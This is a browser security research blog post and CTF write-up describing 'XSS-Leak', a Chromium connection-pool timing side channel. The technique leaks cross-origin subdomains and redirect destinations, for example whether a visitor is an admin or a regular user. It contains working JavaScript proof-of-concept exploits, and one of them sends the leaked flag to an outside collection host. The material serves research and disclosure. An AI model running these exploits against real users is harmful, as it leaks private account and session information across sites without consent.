XSS-Leak: Leaking Cross-Origin Redirects

blog.babelo.xyz · bugbountydaily · 6 months ago
0 net
XSS-Leak: Leaking Cross-Origin Redirects Posted on 2025-09-18 11:15:00 • 2086 words • 10 minute read Tags: Cybersec , Research , client-side , Writeup , Chrome In this post, I will introduce XSS-Leak (“Cross-Site-Subdomain Leak”), a technique for Chromium-based browsers that leaks cross-origin redirects, fetch() destinations, and more. I use the name XSS-Leak because the original goal was to leak subdomains of cross-origin requests, as I’ll explain later. Index Index Challenge Overview Route / Content Security Policy Route /report Swimming in the connection pool (again) Exploit - Leaking subdomains of cross-origin requests PoC Leaking redirect hosts PoC - Admin PoC - User Use Cases Limitations Conclusion A few months ago I found a cool way to leak subdomains from cross-origin (no injection required), so I created a small challenge and posted it on X. Only two people managed to get the flag: 🩸 first blood to 0xAl3ssandro and the second solve to J0R1AN , congrats! Challenge Overview We’re given a minimal Express app which exposes two routes: / , serves a page with an inline script /report , triggers a visit from a headless Chrome bot Route / < html lang = "en" > < head > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < title > challenge-01 < p id = "result" > Hello World! < body > < script nonce = "<%= nonce %>" > const DOMAIN = "<%= DOMAIN %>" ; const PORT = "<%= PORT %>" ; const result = document . getElementById ( "result" ); const toHex = s => [... new TextEncoder (). encode ( s )]. map ( b => b . toString ( 16 ). padStart ( 2 , '0' )). join ( '' ); window . onhashchange = () => { let flag = localStorage . getItem ( "flag" ) || "flag{fake_flag_for_testing}" ; fetch ( `http:// ${ toHex ( flag ) } . ${ DOMAIN } : ${ PORT } ` ) . finally (() => result . innerText = "request sent" ) } When location.hash changes, the page: Reads flag from localStorage and hex-encodes it Sends a request to http://.${DOMAIN}:${PORT} ( DOMAIN = challenge-01.babelo.xyz and PORT = 80 ) Prints request sent Note Note: window.onhashchange wasn’t required to solve the challenge, but it made the exploitation easier. Content Security Policy The server also sends a strict CSP app . use (( req , res , next ) => { const nonce = crypto . randomBytes ( 16 ). toString ( 'base64' ); res . locals . nonce = nonce ; res . setHeader ( "Content-Security-Policy" , `default-src 'none'; script-src 'nonce- ${ nonce } '; connect-src *. ${ DOMAIN } ; base-uri 'none'; frame-ancestors 'none'` ); next (); }); So network requests are restricted to *.${DOMAIN}:${PORT} ( connect-src ) and framing is blocked both ways: the page can’t create frames and it cannot be embedded by others ( frame-ancestors 'none' ) Route /report The bot simulates a user (or admin) using Chrome: try { ... page = await context . newPage (); console . log ( `The admin will visit ${ SITE } first, and then ${ url } ` ); await page . goto ( ` ${ SITE } ` , { waitUntil : "domcontentloaded" , timeout : 5000 }); await sleep ( 100 ); await page . evaluate (( flag ) => { localStorage . setItem ( 'flag' , flag ); }, FLAG ); console . log ( `localStorage.setItem('flag', ' ${ FLAG } ')` ) await sleep ( 500 ); } catch ( err ) { console . error ( err ); if ( browser ) await browser . close (); return reject ( new Error ( "Error: Setup failed, if this happens consistently on remote contact the admin" )); } resolve ( "The admin will visit your URL soon" ); try { await page . goto ( url , { waitUntil : "domcontentloaded" , timeout : 5000 }); await sleep ( 120_000 ); } catch ( err ) { console . error ( err ); } The bot, will: visits the challenge site stores the flag in the local storage Navigates to a supplied URL sleeps for 120 seconds Swimming In The Connection Pool (again) To solve this challenge, you need to know how Chrome’s connection pool works ( background: https://xsleaks.dev ). In short, Chrome can run up to 256 concurrent requests across different origins, but only 6 in parallel to the same origin. Chrome schedules by priority first: the request with the highest priority gets a socket (see the priority table here ). But what if two requests have the same priority? You might expect FIFO, surprisingly, that’s not what happens! When two requests have the same priority, Chrome will sort by port, then scheme, then host. So if two request have the same priority, port and scheme, Chrome will prioritize the one whose host is lexicographically lower (details in my earlier post here ) Example: if request A targets http://google.com:80 and request B targets http://example.com:80 , http://example.com:80 wins and gets the socket first (same port and scheme but example.com < google.com ). This quirk gives us an oracle. We can “guess” the unknown subdomain (the one the page fetches) with a binary search: by sending a request to a test host and seeing which request “goes first”, we can detect whether our host comes before or after the challenge one alphabetically. I explained this behaviour in a previous article in a detailed way. Here I’ll just cover what we need for the exploit Exploit - Leaking subdomains of cross-origin requests Firstly, let’s create some functions to setup the connection pool const sleep = ( ms ) => { return new Promise ( resolve => { setTimeout ( resolve , ms ); }); } // sends a fetch request that takes 360 seconds to finish const fetch_sleep_long = ( i ) => { controller = new AbortController (); const signal = controller . signal ; fetch ( `http://sleep ${ i } . ${ MYSERVER } /360?q= ${ i } ` , { mode : 'no-cors' , signal : signal }); return controller } // blocks one socket const block_socket = async ( i ) => { let controller = fetch_sleep_long ( i ); await sleep ( 0 ); return controller ; } // exhausts all sockets except one const exhaust_sockets = async () => { let i = 0 for (; i < SOCKETLIMIT ; i ++ ) { let controller = await block_socket ( i ); controllers . push ( controller ); } } Then, we need a way to detect which request goes first. My exploit does the following: Exhausts the entire pool Triggers the challenge’s cross-origin request (priority: High) Sends our request to FFF.attacker.com (same priority as the previous one) Frees exactly one socket and immediately sends a request to a host that is always lexicographically smaller (eg. 0000.attacker.com ) and responds after a measurable delay (eg. ~250ms). Only one of the two passes (one of the previous fetch requests vs 0000.attacker.com ), the other stalls. If the first request completes quickly (< ~250ms), then our host is lexicographically smaller than the challenge one. If it takes much longer, it’s greater (> ~600ms). Performs a binary search on the unknown subdomain using this oracle Repeats until the entire flag is leaked const fetch_leak = async ( qq , threshold ) => { let start = performance . now (); await fetch ( `http:// ${ qq } FFFFFF. ${ MYSERVER } /0?q= ${ qq } ` , { mode : 'no-cors' , method : "HEAD" }); log ( `fetch_leak( ${ qq } ) took ${ performance . now () - start } ms` ); return performance . now () - start > threshold ; } async function test ( leak , w , threshold ){ const charset = "0123456789ABCDEF" ; let lo = 0 ; let hi = charset . length - 1 ; let mid ; while ( lo <= hi ) { let res_blocker_controller = await fetch_sleep_long ( 1337 ); await sleep ( 0 ); log ( "blocked last socket" ) log ( "changing location" ) // here the cross-origin request is triggered w . location = ` ${ TARGET } #b` ; await sleep ( 100 ); let midIndex = Math . floor (( lo + hi ) / 2 ); mid = charset [ midIndex ]; let promise1 = fetch_leak ( leak + mid , threshold ); await sleep ( 100 ); res_blocker_controller . abort (); let promise2 = loadFont ( "asdasd" , `http://000000. ${ MYSERVER } /ssleep/250` ); let is_lower = ! ( await promise1 ); await promise2 if ( is_lower ) { lo = midIndex + 1 ; } else { hi = midIndex - 1 ; } log ( "changing location again" ) w . location = ` ${ TARGET } #a` ; } mid = charset [ lo ]; return mid ; } async function main (){ let myserver_timing = await measure_fetch_leak (); let target_timing = await measure_fetch_target (); let font_timing = await measure_font (); log ( `Threshold: ${ myserver_timing + target_timing + font_timing } ` ); await exhaust_sockets () let start = performance . now (); w = window . open ( ` ${ TARGET } #a` , "_blank" , "width=800,height=600" ); await sleep ( 100 ); let leak = "" ; // flag{ while ( ! tryDecodeHex ( leak ). includes ( "}" )){ log ( `Testing for next character... Current leak: ${ leak } ` ); let c = await test ( leak , w , myserver_timing + target_timing + font_timing ); if ( c ){ leak += c ; } else { leak = leak . slice ( 0 , - 1 ); } clear_log (); log ( `Leaked: ${ leak } ` ); await fetch ( "https://xxxxxxxxxx.requestrepo.com/" , { body : ` ${ leak } || ${ tryDecodeHex ( leak ) } ` , mode : "no-cors" , method : "POST" }) } log ( `Final leak: ${ leak } ` ); log ( `Time taken: ${ ( performance . now () - start ) / 1000 } seconds` ); } main (); This leaks the entire flag in ~70s. You can find the full exploit here Flag: flag{gj2e4syr1ght?} PoC Leaking redirect hosts This technique also lets us leak where a redirect goes. I built a small demo app to illustrate it (source code here ). In short: Google acts as the OpenID Connect provider There are two roles: admins and users Each role has its own subdomain: admin.test.localhost.com (admins) and app.test.localhost.com (users). After login, the user is redirected to their subdomain. Hitting /login again auto-redirects the user to that subdomain. With our technique, we can tell in under two seconds whether a visitor is an admin or a regular user! The idea is similar to the subdomain trick, but redirects add an extra step: requesting auth.localhost.com/login triggers a second request (the redirect). We need to isolate that. We do this by freeing and re-blocking the last socket so the initial request completes while the redirect is forced to wait. From there, it’s the same ordering oracle: choose a hostname that sorts between admin and app , let’s say ajj . If the user is an admin, the redirect to admin.test.localhost.com will be scheduled before our request to ajj.attacker.com , so our request will be delayed. If the user is a regular user, the redirect goes to app.test.localhost.com , which sorts after ajj.attacker.com , so our request finishes immediately. Because the redirect navigation has VeryHigh priority, our requests must match that priority, a frame navigation works. Exploit steps: Exhaust the entire pool Open auth.localhost.com/login in a window Free exactly one socket and then immediately block it again, ensuring the first request gets scheduled while the redirect request remains pending. Trigger a frame navigation to ajj.attacker.com (same priority as the redirect) Free one socket and then re-block it immediately, forcing a “race” between the pending redirect and our pending frame navigation. Send a new frame navigation to a host that is always lexicographically smaller (eg. 0000000.attacker.com ) and make it take ~500ms to complete. Finally, free one socket and immediately re-block it. Our 0000000.attacker.com request will always win the race, causing the pending one to hang for ~500 ms longer. If our request stalls, the redirect host sorts before ajj.attacker.com ( admin.test.localhost.com ). If our request finishes immediately, then the redirect host sorts after ajj ( app.test.localhost.com ) This single comparision is enough to distinguish admin vs user. If you had more than two candidates, you can extend it to a binary search just like before. < html lang = "en" > < head > < title > Hello world < body > < button onclick = "popunder();" > click me pls < script > let w ; const popunder = () => { if ( window . opener ){ w = window . opener } else { w = window . open ( ` ${ location . href } #1` , target = "_blank" ) location = `about:blank` } } < script > SOCKETLIMIT = 255 ; MYSERVER = `...` ; // eg. sleep.attacker.com const sleep = ( ms ) => { return new Promise ( resolve => { setTimeout ( resolve , ms ); }); } const controllers = []; async function loadIframe ( url , name ) { const iframe = document . createElement ( 'iframe' ); iframe . src = url ; iframe . name = name ; iframe . style . width = '200px' ; iframe . style . height = '200px' ; iframe . style . display = 'none' ; document . body . appendChild ( iframe ); return new Promise (( resolve ) => { let start = performance . now (); const cleanup = () => { let end = performance . now () - start ; iframe . src = "about:blank" ; document . body . removeChild ( iframe ); resolve ( end ); }; iframe . onload = cleanup ; iframe . onerror = cleanup ; }); } const log = ( l , type = 'INFO' ) => { logtextarea . value += ` ${ l } \n` ; logtextarea . scrollTop = logtextarea . scrollHeight ; } const fetch_sleep_long = ( i ) => { controller = new AbortController (); const signal = controller . signal ; fetch ( `http://sleep ${ i } . ${ MYSERVER } /360?q= ${ i } ` , { mode : 'no-cors' , signal : signal }); return controller } const block_socket = async ( i ) => { let controller = fetch_sleep_long ( i ); await sleep ( 0 ); return controller ; } const exhaust_sockets = async () => { let i = 0 for (; i < SOCKETLIMIT ; i ++ ) { let controller = await block_socket ( i ); controllers . push ( controller ); } } async function clearIframes (){ const iframes = document . querySelectorAll ( 'iframe' ); iframes . forEach ( iframe => { iframe . src = 'about:blank' ; iframe . remove (); }); } async function test ( w , sb ){ await clearIframes (); console . log ( "block fetch sleep long" ) // 1) exhaust the last socket let block = fetch_sleep_long ( 1234 ); // 2) Open `auth.localhost.com/login` in a window await sleep ( 20 ); w . location = `http://auth.localhost.com/login? ${ Math . random () } ` ; // 3) Free exactly one socket and then immediately block it again await sleep ( 100 ); block . abort () block = fetch_sleep_long ( 1234 ); // 4) Trigger a frame navigation to `ajj.attacker.com` await sleep ( 20 ); let p = loadIframe ( `http:// ${ sb } . ${ MYSERVER } /0? ${ Math . random () } ` , "win1" ); // 5) Free one socket and then re-block it immediately, forcing a "race" between the pending redirect and our pending frame navigation await sleep ( 100 ) block . abort () block = fetch_sleep_long ( 1234 ); // 6) We send a new frame navigation which will take ~500ms to finish let p2 = loadIframe ( `http://00000000000000000000. ${ MYSERVER } /ssleep/500? ${ Math . random () } ` , "win2" ); await sleep ( 100 ); // 7) Finally, free one socket and then re-block it immediately block . abort () block = fetch_sleep_long ( 1234 ); await sleep ( 500 ) block . abort () let res = await p ; console . log ( res ); return res ; } async function main (){ await exhaust_sockets () // Exhaust the entire pool - 1 let result = await test ( w , "ajjjjjjj" ); if ( result > 500 ){ document . write ( `You're an admin (admin.test.localhost.com)` ); } else { document . write ( `You're a regular user (app.test.localhost.com)` ) } } if ( location . hash ){ main (); w = window . opener ; } PoC - admin PoC - user Use cases This technique is not limited to leaking subdomains of cross-origin requests but it’s useful in several other scenarios: Cross-Origin Request Counting: https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool- Delay POST requests: https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix Leak the scheme of cross-origin requests Leak the port of cross-origin requests Possibly leak GroupId.privacy_mode_ 1 (not verified). Limitations Only works in Chromium-based browsers Conclusion This post is a follow-up to my previous post from a few months ago. Since then, I reported the behaviour to Chrome. Because it’s essentially a variant of the classic connection-pool exhaustion attack, they considered it likely WAI and I don’t think it will be fixed soon. Thanks for reading. https://source.chromium.org/chromium/chromium/src/+/main:net/socket/client_socket_pool.h;l=162;drc=48d6f7175422b2c969c14258f9f8d5b196c28d18 ↩︎